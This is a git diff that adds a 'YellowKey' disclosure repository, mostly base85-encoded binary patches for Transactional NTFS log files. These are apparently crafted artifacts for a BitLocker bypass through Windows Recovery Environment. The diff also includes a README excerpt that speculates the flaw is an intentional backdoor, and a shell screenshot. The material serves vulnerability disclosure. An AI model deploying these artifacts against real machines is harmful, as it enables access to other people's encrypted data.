z5FkK+009C72oNAZfB*pk1PBlyK!5-N0t5&UAV7cs0RjXF5FkK+009C72oNAZfB*pk z1PBlyK!5-N0t5&UAV7cs0RjXF5FkK+009C72oNAZfB*pk1PBlyK!5-N0t5&UAV7cs z0RjXF5FkK+009C72oNAZfB*pk1PBlyK!5-N0t5&UAV7cs0RjXF5FkK+009C72oNAZ zfB*pk1PBlyK!5-N0t5&UAV7cs0RjXF5FkK+009C72oNAZfB*pk1PBlyK!5-N0t5&U zAV7cs0RjXF5FkK+009C72oNAZfB*pk1PBlyK!5-N0t5&UAV7cs0RjXF5FkK+009C7 z2oNAZfB*pk1PBlyK!5-N0t5&UAV7cs0RjXF5FkK+009C72oNAZfB*pk1PBlyK!5-N z0t5&UAV7cs0RjXF5FkK+009C72oNAZfB*pk1PBlyK!5-N0t5&UAV7cs0RjXF5FkK+ z009C72oNAZfB*pk1PBlyK!5-N0t5&UAV7cs0RjXF5FkK+009C72oNAZfB*pk1PBly zK!5-N0t5&UAV7cs0RjXF5FkK+009C72oNAZfB*pk1PBlyK!5-N0t5&UAV7cs0RjXF z5FkK+009C72oNAZfB*pk1PBlyK!5-N0t5&UAV7cs0RjXF5FkK+009C72oNAZfB*pk z1PBlyK!5-N0t5&UAV7cs0RjXF5FkK+009C72oNAZfB*pk1PBlyK!5-N0t5&UAV7cs z0RjXF5FkK+009C72oNAZfB*pk1PBlyK!5-N0t5&UAV7cs0RjXF5FkK+009C72oNAZ zfB*pk1PBlyK!5-N0t5&UAV7cs0RjXF5FkK+009C72oNAZfB*pk1PBlyK!5-N0t5&U zAV7cs0RjXF5FkK+009C72oNAZfB*pk1PBlyK!5-N0t5&UAV7cs0RjXF5FkK+009C7 z2oNAZfB*pk1PBlyK!5-N0t5&UAV7cs0RjXF5FkK+009C72oNAZfB*pk1PBlyK!5-N z0t5&UAV7cs0RjXF5FkK+009C72oNAZfB*pk1PBlyK!5-N0t5&UAV7cs0RjXF5FkK+ z009C72oNAZfB*pk1PBlyK!5-N0t5&UAV7cs0RjXF5FkK+009C72oNAZfB*pk1PBly zK!5-N0t5&UAV7cs0RjXF5FkK+009C72oNAZfB*pk1PBlyK!5-N0t5&UAV7cs0RjXF z5FkK+009C72oNAZfB*pk1PBlyK!5-N0t5&UAV7cs0RjXF5FkK+009C72oNAZfB*pk z1PBlyK!5-N0t5&UAV7cs0RjXF5FkK+009C72oNAZfB*pk1PBlyK!5-N0t5&UAV7cs z0RjXF5FkK+009C72oNAZfB*pk1PBlyK!5-N0t5&UAV7cs0RjXF5FkK+009C72oNAZ zfB*pk1PBlyK!5-N0t5&UAV7cs0RjXF5FkK+009C72oNAZfB*pk1PBlyK!5-N0t5&U zAV7cs0RjXF5FkK+009C72oNAZfB*pk1PBlyK!5-N0t5&UAV7cs0RjXF5FkK+009C7 z2oNAZfB*pk1PBlyK!5-N0t5&UAV7cs0RjXF5FkK+009C72oNAZfB*pk1PBlyK!5-N z0t5&UAV7cs0RjXF5FkK+009C72oNAZfB*pk1PBlyK!5-N0t5&UAV7cs0RjXF5FkK+ z009C72oNAZfB*pk1PBlyK!5-N0t5&UAV7cs0RjXF5FkK+009C72oNAZfB*pk1PBly zK!5-N0t5&UAV7cs0RjXF5FkK+009C72oNAZfB*pk1PBlyK!5-N0t5&UAV7cs0RjXF z5FkK+009C72oNAZfB*pk1PBlyK!5-N0t5&UAV7cs0RjXF5FkK+009C72oNAZfB*pk z1PBlyK!5-N0t5&UAV7cs0RjXF5FkK+009C72oNAZfB*pk1PBlyK!5-N0t5&UAV7cs z0RjXF5FkK+009C72oNAZfB*pk1PBlyK!5-N0t5&UAV7cs0RjXF5FkK+009C72oNAZ zfB*pk1PBlyK!5-N0t5&UAV7cs0RjXF5FkK+009C72oNAZfB*pk1PBlyK!5-N0t5&U zAV7cs0RjXF5FkK+009C72oNAZfB*pk1PBlyK!5-N0t5&UAV7cs0RjXF5FkK+009C7 z2oNAZfB*pk1PBlyK!5-N0t5&UAV7cs0RjXF5FkK+009C72oNAZfB*pk1PBlyK!5-N z0t5&UAV7cs0RjXF5FkK+009C72oNAZfB*pk1PBlyK!5-N0t5&UAV7cs0RjXF5FkK+ z009C72oNAZfB*pk1PBlyK!5-N0t5&UAV7cs0RjXF5FkK+009C72oNAZfB*pk1PBly zK!5-N0t5&UAV7cs0RjXF5FkK+009C72oNAZfB*pk1PBlyK!5-N0t5&UAV7cs0RjXF z5FkK+009C72oNAZfB*pk1PBlyK!5-N0t5&UAV7cs0RjXF5FkK+009C72oNAZfB*pk z1PBlyK!5-N0t5&UAV7cs0RjXF5FkK+009C72oNAZfB*pk1PBlyK!5-N0t5&UAV7cs z0RjXF5FkK+009C72oNAZfB*pk1PBlyK!5-N0t5&UAV7cs0RjXF5FkK+009C72>hAA E3oP>ti~s-t literal 0 HcmV?d00001 diff --git a/YellowKey/FsTx/95F62703B343F111A92A005056975458/FsTxLogs/FsTxKtmLogContainer00000000000000000002 b/YellowKey/FsTx/95F62703B343F111A92A005056975458/FsTxLogs/FsTxKtmLogContainer00000000000000000002 new file mode 100644 index 0000000000000000000000000000000000000000..8dd9b32398037d9b41b3651c8ca362d48243bb3d GIT binary patch literal 524288 zcmeIufdBvi0K=g9Q{UhOg-~I@fB^#r3>YwAz<>b*1`HT5V8DO@0|pEjFkrxd0RsjM z7%*VKfB^#r3>YwAz<>b*1`HT5V8DO@0|pEjFkrxd0RsjM7%*VKfB^#r3>YwAz<>b* z1`HT5V8DO@0|pEjFkrxd0RsjM7%*VKfB^#r3>YwAz<>b*1`HT5V8DO@0|pEjFkrxd z0RsjM7%*VKfB^#r3>YwAz<>b*1`HT5V8DO@0|pEjFkrxd0RsjM7%*VKfB^#r3>YwA zz<>b*1`HT5V8DO@0|pEjFkrxd0RsjM7%*VKfB^#r3>YwAz<>b*1`HT5V8DO@0|pEj zFkrxd0RsjM7%*VKfB^#r3>YwAz<>b*1`HT5V8DO@0|pEjFkrxd0RsjM7%*VKfB^#r z3>YwAz<>b*1`HT5V8DO@0|pEjFkrxd0RsjM7%*VKfB^#r3>YwAz<>b*1`HT5V8DO@ z0|pEjFkrxd0RsjM7%*VKfB^#r3>YwAz<>b*1`HT5V8DO@0|pEjFkrxd0RsjM7%*VK zfB^#r3>YwAz<>b*1`HT5V8DO@0|pEjFkrxd0RsjM7%*VKfB^#r3>YwAz<>b*1`HT5 zV8DO@0|pEjFkrxd0RsjM7%*VKfB^#r3>YwAz<>b*1`HT5V8DO@0|pEjFkrxd0RsjM z7%*VKfB^#r3>YwAz<>b*1`HT5V8DO@0|pEjFkrxd0RsjM7%*VKfB^#r3>YwAz<>b* z1`HT5V8DO@0|pEjFkrxd0RsjM7%*VKfB^#r3>YwAz<>b*1`HT5V8DO@0|pEjFkrxd z0RsjM7%*VKfB^#r3>YwAz<>b*1`HT5V8DO@0|pEjFkrxd0RsjM7%*VKfB^#r3>YwA zz<>b*1`HT5V8DO@0|pEjFkrxd0RsjM7%*VKfB^#r3>YwAz<>b*1`HT5V8DO@0|pEj zFkrxd0RsjM7%*VKfB^#r3>YwAz<>b*1`HT5V8DO@0|pEjFkrxd0RsjM7%*VKfB^#r z3>YwAz<>b*1`HT5V8DO@0|pEjFkrxd0RsjM7%*VKfB^#r3>YwAz<>b*1`HT5V8DO@ z0|pEjFkrxd0RsjM7%*VKfB^#r3>YwAz<>b*1`HT5V8DO@0|pEjFkrxd0RsjM7%*VK zfB^#r3>YwAz<>b*1`HT5V8DO@0|pEjFkrxd0RsjM7%*VKfB^#r3>YwAz<>b*1`HT5 zV8DO@0|pEjFkrxd0RsjM7%*VKfB^#r3>YwAz<>b*1`HT5V8DO@0|pEjFkrxd0RsjM z7%*VKfB^#r3>YwAz<>b*1`HT5V8DO@0|pEjFkrxd0RsjM7%*VKfB^#r3>YwAz<>b* z1`HT5V8DO@0|pEjFkrxd0RsjM7%*VKfB^#r3>YwAz<>b*1`HT5V8DO@0|pEjFkrxd z0RsjM7%*VKfB^#r3>YwAz<>b*1`HT5V8DO@0|pEjFkrxd0RsjM7%*VKfB^#r3>YwA zz<>b*1`HT5V8DO@0|pEjFkrxd0RsjM7%*VKfB^#r3>YwAz<>b*1`HT5V8DO@0|pEj zFkrxd0RsjM7%*VKfB^#r3>YwAz<>b*1`HT5V8DO@0|pEjFkrxd0RsjM7%*VKfB^#r z3>YwAz<>b*1`HT5V8DO@0|pEjFkrxd0RsjM7%*VKfB^#r3>YwAz<>b*1`HT5V8DO@ z0|pEjFkrxd0RsjM7%*VKfB^#r3>YwAz<>b*1`HT5V8DO@0|pEjFkrxd0RsjM7%*VK zfB^#r3>YwAz<>b*1`HT5V8DO@0|pEjFkrxd0RsjM7%*VKfB^#r3>YwAz<>b*1`HT5 zV8DO@0|pEjFkrxd0RsjM7%*VKfB^#r3>YwAz<>b*1`HT5V8DO@0|pEjFkrxd0RsjM z7%*VKfB^#r3>YwAz<>b*1`HT5V8DO@0|pEjFkrxd0RsjM7%*VKfB^#r3>YwAz<>b* z1`HT5V8DO@0|pEjFkrxd0RsjM7%*VKfB^#r3>YwAz<>b*1`HT5V8DO@0|pEjFkrxd z0RsjM7%*VKfB^#r3>YwAz<>b*1`HT5V8DO@0|pEjFkrxd0RsjM7%*VKfB^#r3>YwA zz<>b*1`HT5V8DO@0|pEjFkrxd0RsjM7%*VKfB^#r3>YwAz<>b*1`HT5V8DO@0|pEj zFkrxd0RsjM7%*VKfB^#r3>YwAz<>b*1`HT5V8DO@0|pEjFkrxd0RsjM7%*VKfB^#r z3>YwAz<>b*1`HT5V8DO@0|pEjFkrxd0RsjM7%*VKfB^#r3>YwAz<>b*1`HT5V8DO@ z0|pEjFkrxd0RsjM7%*VKfB^#r3>YwAz<>b*1`HT5V8DO@0|pEjFkrxd0RsjM7%*VK zfB^#r3>YwAz<>b*1`HT5V8DO@0|pEjFkrxd0RsjM7%*VKfB^#r3>YwAz<>b*1`HT5 zV8DO@0|pEjFkrxd0RsjM7%*VKfB^#r3>YwAz<>b*1`HT5V8DO@0|pEjFkrxd0RsjM z7%*VKfB^#r3>YwAz<>b*1`HT5V8DO@0|pEjFkrxd0RsjM7%*VKfB^#r3>YwAz<>b* z1`HT5V8DO@0|pEjFkrxd0RsjM7%*VKfB^#r3>YwAz<>b*1`HT5V8DO@0|pEjFkrxd z0RsjM7%*VKfB^#r3>YwAz<>b*1`HT5V8DO@0|pEjFkrxd0RsjM7%*VKfB^#r3>YwA zz<>b*1`HT5V8DO@0|pEjFkrxd0RsjM7%*VKfB^#r3>YwAz<>b*1`HT5V8DO@0|pEj zFkrxd0RsjM7%*VKfB^#r3>YwAz<>b*1`HT5V8DO@0|pEjFkrxd0RsjM7%*VKfB^#r z3>YwAz<>b*1`HT5V8DO@0|pEjFkrxd0RsjM7%*VKfB^#r3>YwAz<>b*1`HT5V8DO@ z0|pEjFkrxd0RsjM7%*VKfB^#r3>YwAz<>b*1`HT5V8DO@0|pEjFkrxd0RsjM7%*VK VfB^#r3>YwAz<>b*1`HVZ0|Nkf00961 literal 0 HcmV?d00001 diff --git a/YellowKey/FsTx/95F62703B343F111A92A005056975458/FsTxLogs/FsTxLog.blf b/YellowKey/FsTx/95F62703B343F111A92A005056975458/FsTxLogs/FsTxLog.blf new file mode 100644 index 0000000000000000000000000000000000000000..db63a26f8cec4fabe47fa269d72cceb9a5a5f70f GIT binary patch literal 65536 zcmeI5yK59t6voeLUJ7DFBNi5EL`WfPapDs5Ni4R|6n1_XGglD%dfloUJU=(^Qw!+CZ3L8%;cKw2KS~zO?K35 z$Yh|G`)WI$G+Jbk{#TY>F_ZNpUB7v4tTF#>*?hwdbLUt7oIS4bXScHXcJQwZ#gPL3 zj$jL|g1-=oBMJN+!4_Hte<2h{68JlUEwl>$LMVxg?S=3>sAcKbVv+az zzntIoRxrK9&xi8Qh+6sjN6B@ah11W38xl$8AD{bGyDPpQ_tmZo`XxHW>m?ed*Z~Px|4N?ujrv6ey_+^hOM8K0p9oWHkcc0l*hitv}PX|t|H~*L+pN(ogb?3Fr4%~&lz0j{--#P(9gfu z?xbGyeWr@<_w2j$T&cae+;{L9wzzD)@19r+`?@C}fB)-l0|k{50Dq<6jg$p{BOsJ) zfWK1kM#_S}5fDl?z+WkNBW1zg2nZz`;I9%Qt(E~g1-?EN;be>DR?7g z!QTi7B^%(c6ugnL;BN$kk`3@z3f@Rr@HYZN$p-i<1#hG*_!|MCWCQ$_f;UnY{EdK6 zvH|`|!5b+H{zgD3*(f&W=YMWJJaaNX_eY%HCG6+^(_x(dd1p2b=6|jpXk?I|FD5^? zPxU)D`py{U|J`V0b-Et&Ki4T}*Jbeg?;1aWKluAjz<2lf{)4~o1blao??3qaPQYsS z=H`Ds(3D2CKil(Jd_K5dhM503O=s)pQO5kw>wOOKo|FK7|D{y?XyEUMwbUv2OR4zL zz~2vRsZ;QmQt_jKzaQ38r{FK8;zt92Kdhxr!Cy+nj|TpJSWBIPzm$p}4gCGEmO2H0 zDHT5&`1@fkbqfAcDt9|8uJ5b7FQwu~1AjlPrB1 + + +Now why would I say this is a **backdoor** ? The component that is responsible for this bug is not present anywhere (even in the internet) except inside WinRE image and what makes it raise suspicions is the fact that the exact same component is also present with the exact same name in a normal windows installation but without the functionalities that trigger the bitlocker bypass issue. Why ? I just can't come up with an explanation beside the fact that this was intentional. Also for whatever reason, only windows 11 (+Server 2022/2025) are affect, windows 10 is not. + +A huge thanks to MORSE, MSTIC and Microsoft GHOST for making this public disclosure possible ;) diff --git a/YellowKey/shell.png b/YellowKey/shell.png new file mode 100644 index 0000000000000000000000000000000000000000..e79b33d5644b306ba10d2b96b9d048867e11746a GIT binary patch literal 21544 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 